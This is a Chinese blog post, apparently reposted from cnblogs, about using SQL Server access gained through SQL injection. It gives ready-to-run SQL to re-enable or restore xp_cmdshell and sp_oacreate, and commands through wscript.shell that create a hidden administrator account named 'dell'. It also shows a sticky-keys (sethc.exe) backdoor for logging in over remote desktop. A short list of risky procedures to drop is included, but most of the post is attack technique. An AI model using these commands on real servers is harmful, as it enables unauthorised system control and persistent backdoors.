zoukankan      html  css  js  c++  java
  • 关于存储过程

    SQL2005 在默认的设置中是删除了 XP_CMDSHELL的,因此也在注射过程中产生了点困难。后来经过查看MSSQL2005的手册才知道情况原来如此:
    用下面一句话就可以了解决了。

    EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;

    关闭一样.只是将上面的后面的那个"1"改成"0"就可以了.

    EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 0;RECONFIGURE;
    以上情况用于xplog70.dll未删除和改名的情况

    扩展储存过程被删除以后可以有很简单的办法恢复:
    删除
    drop procedure sp_addextendedproc
    drop procedure sp_oacreate
    exec sp_dropextendedproc 'xp_cmdshell'


    恢复
    dbcc addextendedproc ("sp_oacreate","odsole70.dll")
    dbcc addextendedproc ("xp_cmdshell","xplog70.dll")


    这样可以直接恢复,不用去管sp_addextendedproc是不是存在

    -----------------------------

    删除扩展存储过过程xp_cmdshell的语句:
    exec sp_dropextendedproc 'xp_cmdshell'

    恢复cmdshell的sql语句
    exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'

    开启cmdshell的sql语句

    exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'

    判断存储扩展是否存在
    select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
    返回结果为1就ok

    恢复xp_cmdshell
    exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll';select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
    返回结果为1就ok

    否则上传xplog7.0.dll
    exec master.dbo.addextendedproc 'xp_cmdshell','c:winntsystem32xplog70.dll'

    堵上cmdshell的sql语句
    sp_dropextendedproc "xp_cmdshell"

    终极方法总结:

    如果不删除sql危险存储,可以按下面的方法执行系统命令

    sql server 2005下开启xp_cmdshell的办法
    EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;

    SQL2005开启'OPENROWSET'支持的方法:

    exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;

    SQL2005开启'sp_oacreate'支持的方法:

    exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;

    突破SA的各种困难

    常见情况恢复执行xp_cmdshell
    1 未能找到存储过程'master..xpcmdshell'.
    恢复方法:查询分离器连接后,
    第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int 
    第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll' 
    然后按F5键命令执行完毕

    2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)
    恢复方法:查询分离器连接后,
    第一步执行:sp_dropextendedproc "xp_cmdshell"
    第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
    然后按F5键命令执行完毕

    3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)
    恢复方法:查询分离器连接后,
    第一步执行:exec sp_dropextendedproc 'xp_cmdshell'
    第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll' 
    然后按F5键命令执行完毕
    四.终极方法.
    如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:
    查询分离器连接后,
    2000servser系统:
    declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:winntsystem32cmd.exe /c net user dell huxifeng007 /add'

    declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:winntsystem32cmd.exe /c net localgroup administrators dell /add'

    xp或2003server系统:

    declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:windowssystem32cmd.exe /c net user dell huxifeng007 /add'

    declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:windowssystem32cmd.exe /c net localgroup administrators dell /add'

    --------------
    xp_cmdshell新的恢复办法
    删除
    drop procedure sp_addextendedproc
    drop procedure sp_oacreate
    exec sp_dropextendedproc 'xp_cmdshell'

    恢复
    dbcc addextendedproc ("sp_oacreate","odsole70.dll")
    dbcc addextendedproc ("xp_cmdshell","xplog70.dll")

    这样可以直接恢复,不用去管sp_addextendedproc是不是存在

    -----------------------------

    删除扩展存储过过程xp_cmdshell的语句:
    exec sp_dropextendedproc 'xp_cmdshell'

    恢复cmdshell的sql语句
    exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'

    开启cmdshell的sql语句

    exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'

    判断存储扩展是否存在
    select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
    返回结果为1就ok

    恢复xp_cmdshell
    exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll';select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
    返回结果为1就ok

    否则上传xplog7.0.dll
    exec master.dbo.addextendedproc 'xp_cmdshell','c:winntsystem32xplog70.dll'

    堵上cmdshell的sql语句
    sp_dropextendedproc "xp_cmdshell 
    ----------------
    删除sql危险存储:

    DROP PROCEDURE sp_makewebtask
    exec master..sp_dropextendedproc xp_cmdshell
    exec master..sp_dropextendedproc xp_dirtree
    exec master..sp_dropextendedproc xp_fileexist
    exec master..sp_dropextendedproc xp_terminate_process
    exec master..sp_dropextendedproc sp_oamethod
    exec master..sp_dropextendedproc sp_oacreate
    exec master..sp_dropextendedproc xp_regaddmultistring
    exec master..sp_dropextendedproc xp_regdeletekey
    exec master..sp_dropextendedproc xp_regdeletevalue
    exec master..sp_dropextendedproc xp_regenumkeys
    exec master..sp_dropextendedproc xp_regenumvalues
    exec master..sp_dropextendedproc sp_add_job
    exec master..sp_dropextendedproc sp_addtask
    exec master..sp_dropextendedproc xp_regread
    exec master..sp_dropextendedproc xp_regwrite
    exec master..sp_dropextendedproc xp_readwebtask
    exec master..sp_dropextendedproc xp_makewebtask
    exec master..sp_dropextendedproc xp_regremovemultistring
    exec master..sp_dropextendedproc sp_OACreate
    DROP PROCEDURE sp_addextendedproc 

    有了sa但无xp_cmdshell ,怎么恢复都提示出错。好象是xxxx.cpp哪里哪里出错。或者找不到指定模块,反正我遇到好多次了。在用exec sp_oacreate 'wscript.shell'也没办法的情况下。。可用此方法
    (很多服务器都把'wscript.shell'给删了。)
    看到既然能用sp_oacreate,sp_oamethod来弄'wscript.shell'或者scripting.filesystemobject
    网上看到的文章都只有几个用法就是'wscript.shell'执行命令或者scripting.filesystemobject来写入木马或读取文件。于是乎应该可以也能复制,删除文件吧。。
    上网找了些资料,得到下面方法:
    复制文件:

    declare @o int
    exec sp_oacreate 'scripting.filesystemobject', @o out 
    exec sp_oamethod @o, 'copyfile',null,'c:windowsexplorer.exe' ,'c:windowssystem32sethc.exe';

    declare @oo int
    exec sp_oacreate 'scripting.filesystemobject', @oo out 
    exec sp_oamethod @oo, 'copyfile',null,'c:windowssystem32sethc.exe' ,'c:windowssystem32dllcachesethc.exe';

    成功后3389登陆按五次shift键。成功进入服务器。一直向上点"我的电脑"右键"管理" 用户管理直接加用户。

  • 相关阅读:
    Vue 之 mixin的用法
    react 初学之 jsx ,prop。state
    前端清除缓存的集中方法
    关于event被废弃后的新实用方法
    JS获取字符串的字节长度
    getPopupContainer解决ant-design-vue select组件下拉框偏移错位
    frameset标签使用
    浏览器内核
    两种多关键字排序代码
    两种多关键字排序策略比较
  • 原文地址:https://www.cnblogs.com/milantgh/p/3606097.html
Copyright © 2011-2022 走看看